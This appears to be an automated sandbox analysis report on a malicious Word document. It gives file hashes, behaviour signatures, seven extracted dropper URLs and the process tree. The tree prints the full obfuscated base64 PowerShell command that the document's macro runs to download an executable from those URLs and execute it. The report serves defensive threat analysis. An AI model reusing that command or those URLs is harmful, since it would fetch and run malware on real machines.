Analysis
-
max time kernel
101s -
max time network
51s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
-
submitted
20/09/2024, 08:43
General
-
Target
ed3ac3c1698350adde5e38dde5f1975d_JaffaCakes118.doc
-
Size
171KB
-
MD5
ed3ac3c1698350adde5e38dde5f1975d
-
SHA1
bb2466c3fd9aaa2f604bcace5b70085aa3c4d0a2
-
SHA256
1e3b648d4c453ce0522af1478833be9b411d31b891f5479bef7805cc9e051cae
-
SHA512
4848c0ed541f054c31f6323423efca11cece95107198041c816a7411778ece0ea4f6ce8bb4c6102209d1c86a10816abf49daef423a5609a87085baf647d23f48
-
SSDEEP
3072:Hs9ufstRUUKSns8T00JSHUgteMJ8qMD7g7FcZaBD:Hs9ufsfgIf0pLhcZKD
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://coffeecons.com/joomla30/LU7/
exe.dropper
http://www.noramua.com/wp-content/Eb/
exe.dropper
http://chakteholistico.com/wp-includes/7c/
exe.dropper
https://zeitraisen.com/wordpress/GoG/
exe.dropper
http://gosmart-online.com/wp-includes/9/
exe.dropper
https://www.campuscamarafp.com/wp-admin/uEx/
exe.dropper
http://eastafricarefugeerelief.com/aopaf/public/GiFSUetbCLK/C/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 3 IoCs
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ed3ac3c1698350adde5e38dde5f1975d_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABUAGkAXwBfAHYAOQA1AD0AKAAoACcAWQAnACsAJwA1ADgAJwApACsAKAAnAGsAbAB3ACcAKwAnAGsAJwApACkAOwAmACgAJwBuACcAKwAnAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABFAE4AdgA6AHUAcwBlAHIAUABSAE8AZgBpAGwAZQBcAG4AYgAxAFAAQwBEAEQAXABLAEUATQAyAEoANABVAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAGUAYwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBgAFUAcgBpAHQAWQBwAGAAUgBgAG8AVABPAEMAbwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAnACkAKwAoACcAMgAsACAAJwArACcAdABsACcAKwAnAHMAJwApACsAKAAnADEAMQAnACsAJwAsACAAJwApACsAKAAnAHQAJwArACcAbABzACcAKQApADsAJABBADgAbwBrAHoAbAB4ACAAPQAgACgAJwBGADkAJwArACgAJwBlAHYAJwArACcAegBuACcAKQArACcAYQB6ACcAKQA7ACQASAAxAHQAZABqADEAaQA9ACgAJwBJACcAKwAoACcAdAByACcAKwAnAG0AeAAnACsAJwBfAHUAJwApACkAOwAkAFUANQA1AGQAeQBxAGEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcASgAnACsAJwAxAHkAJwArACgAJwBOAGIAJwArACcAMQBwACcAKQArACgAJwBjAGQAZAAnACsAJwBKACcAKQArACgAJwAxACcAKwAnAHkASwAnACsAJwBlAG0AMgBqACcAKQArACgAJwA0AHUAJwArACcASgAxAHkAJwApACkALgAiAFIAZQBgAHAAbABgAEEAYwBFACIAKAAoACcASgAxACcAKwAnAHkAJwApACwAWwBzAFQAUgBpAE4AZwBdAFsAYwBIAEEAUgBdADkAMgApACkAKwAkAEEAOABvAGsAegBsAHgAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABWAHIAaQBnADQAaQAzAD0AKAAoACcAUwB0ACcAKwAnAGwAJwApACsAKAAnAHoAJwArACcAMABtAG8AJwApACkAOwAkAE0AdABsADMANABwAGIAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwAnACsAJwB0ACcAKQAgAG4AZQB0AC4AVwBlAEIAYwBsAGkARQBuAFQAOwAkAEkAMAA0ADkAZwB6ADgAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AC8ALwBjACcAKwAnAG8AJwApACsAKAAnAGYAJwArACcAZgBlACcAKQArACgAJwBlACcAKwAnAGMAbwAnACkAKwAnAG4AcwAnACsAKAAnAC4AYwAnACsAJwBvAG0AJwApACsAJwAvACcAKwAoACcAagBvAG8AbQBsACcAKwAnAGEAJwApACsAKAAnADMAMAAnACsAJwAvACcAKQArACcATABVACcAKwAnADcALwAnACsAKAAnACoAJwArACcAaAB0AHQAcAA6ACcAKQArACcALwAvACcAKwAoACcAdwAnACsAJwB3AHcAJwApACsAJwAuACcAKwAoACcAbgBvACcAKwAnAHIAYQBtAHUAYQAuACcAKQArACgAJwBjAG8AJwArACcAbQAvAHcAJwApACsAKAAnAHAAJwArACcALQBjAG8AbgAnACkAKwAnAHQAJwArACgAJwBlACcAKwAnAG4AdAAvAEUAYgAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0AHAAOgAnACkAKwAoACcALwAvACcAKwAnAGMAaAAnACkAKwAoACcAYQAnACsAJwBrAHQAZQAnACkAKwAoACcAaABvAGwAaQAnACsAJwBzACcAKQArACgAJwB0AGkAJwArACcAYwBvAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwAnACkAKwAoACcAcAAtAGkAJwArACcAbgBjAGwAJwArACcAdQBkAGUAcwAnACkAKwAoACcALwAnACsAJwA3AGMALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAoACcAdABwACcAKwAnAHMAOgAnACkAKwAoACcALwAnACsAJwAvAHoAZQAnACsAJwBpAHQAJwApACsAJwByACcAKwAoACcAYQBpACcAKwAnAHMAZQAnACsAJwBuAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwAnACsAJwBvAHIAJwArACcAZABwAHIAZQBzAHMALwBHAG8AJwApACsAKAAnAEcALwAnACsAJwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8ALwBnAG8AJwArACcAcwBtAGEAcgB0ACcAKwAnAC0AbwAnACkAKwAnAG4AbAAnACsAJwBpAG4AJwArACcAZQAuACcAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvACcAKwAnAHcAcAAnACsAJwAtACcAKwAoACcAaQBuACcAKwAnAGMAJwApACsAKAAnAGwAdQAnACsAJwBkAGUAcwAvACcAKQArACcAOQAvACcAKwAoACcAKgAnACsAJwBoAHQAJwApACsAKAAnAHQAJwArACcAcABzADoALwAnACkAKwAoACcALwAnACsAJwB3AHcAdwAnACkAKwAoACcALgBjAGEAJwArACcAbQBwACcAKQArACgAJwB1AHMAJwArACcAYwAnACkAKwAnAGEAJwArACgAJwBtAGEAcgBhAGYAJwArACcAcAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAvACcAKQArACgAJwB3AHAAJwArACcALQBhACcAKQArACcAZAAnACsAKAAnAG0AaQBuACcAKwAnAC8AdQBFACcAKwAnAHgALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACcAcAA6ACcAKwAoACcALwAvAGUAYQBzAHQAJwArACcAYQAnACkAKwAoACcAZgByACcAKwAnAGkAYwBhACcAKQArACcAcgAnACsAKAAnAGUAZgB1AGcAZQAnACsAJwBlACcAKQArACgAJwByAGUAbAAnACsAJwBpAGUAZgAnACkAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvAGEAJwApACsAJwBvAHAAJwArACgAJwBhACcAKwAnAGYALwAnACkAKwAoACcAcAB1AGIAJwArACcAbABpAGMALwBHACcAKwAnAGkARgBTAFUAZQAnACsAJwB0AGIAQwAnACsAJwBMAEsALwBDAC8AJwApACkALgAiAFMAUABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASABqAGsAaQBrADQAegA9ACgAKAAnAFIAOQBfAGQAJwArACcANQAnACkAKwAnAGsAdgAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABZADYAdAB3AHgAcAAzACAAaQBuACAAJABJADAANAA5AGcAegA4ACkAewB0AHIAeQB7ACQATQB0AGwAMwA0AHAAYgAuACIAZABvAGAAVwBuAGwAbwBgAEEARABmAGAASQBMAEUAIgAoACQAWQA2AHQAdwB4AHAAMwAsACAAJABVADUANQBkAHkAcQBhACkAOwAkAE8AbgA3ADcANABzADkAPQAoACcAWQAnACsAKAAnADEAbgAxAG8AJwArACcAdABvACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFUANQA1AGQAeQBxAGEAKQAuACIATABgAEUAYABOAGcAVABoACIAIAAtAGcAZQAgADMAOQA4ADcANQApACAAewAmACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABVADUANQBkAHkAcQBhACkAOwAkAEgAYwBvAHoAbQAwAGIAPQAoACcARAAnACsAJwBzADcAJwArACgAJwBqACcAKwAnAHoAYQBwACcAKQApADsAYgByAGUAYQBrADsAJABKAGYAdwByAHQAcAA0AD0AKAAnAEYAawAnACsAJwB1ACcAKwAoACcAcAAwADIAJwArACcAZwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgAwAHQAaQBnAGsAaAA9ACgAJwBWAGUAJwArACgAJwB5ACcAKwAnAGEAYwA1AGoAJwApACkA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
19KB
MD51839cce52099e11d5b5c920a503326ef
SHA104ab629896479f496a2951262d630b35424db33c
SHA256a08655a0bc95c981434ddb1fe1a461162fd7e3bc49f6dbf4f6011ae3cd4a9b63
SHA512ac22bbacac845018f9ead8c9a34129cfdf210a6a6006a306ac24706d97ba04b379be61472b16f5595846fdca1599470e7d8251b8c9832668ccbd604539300f91
-
Filesize
32KB
-
Filesize
2.9MB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
44KB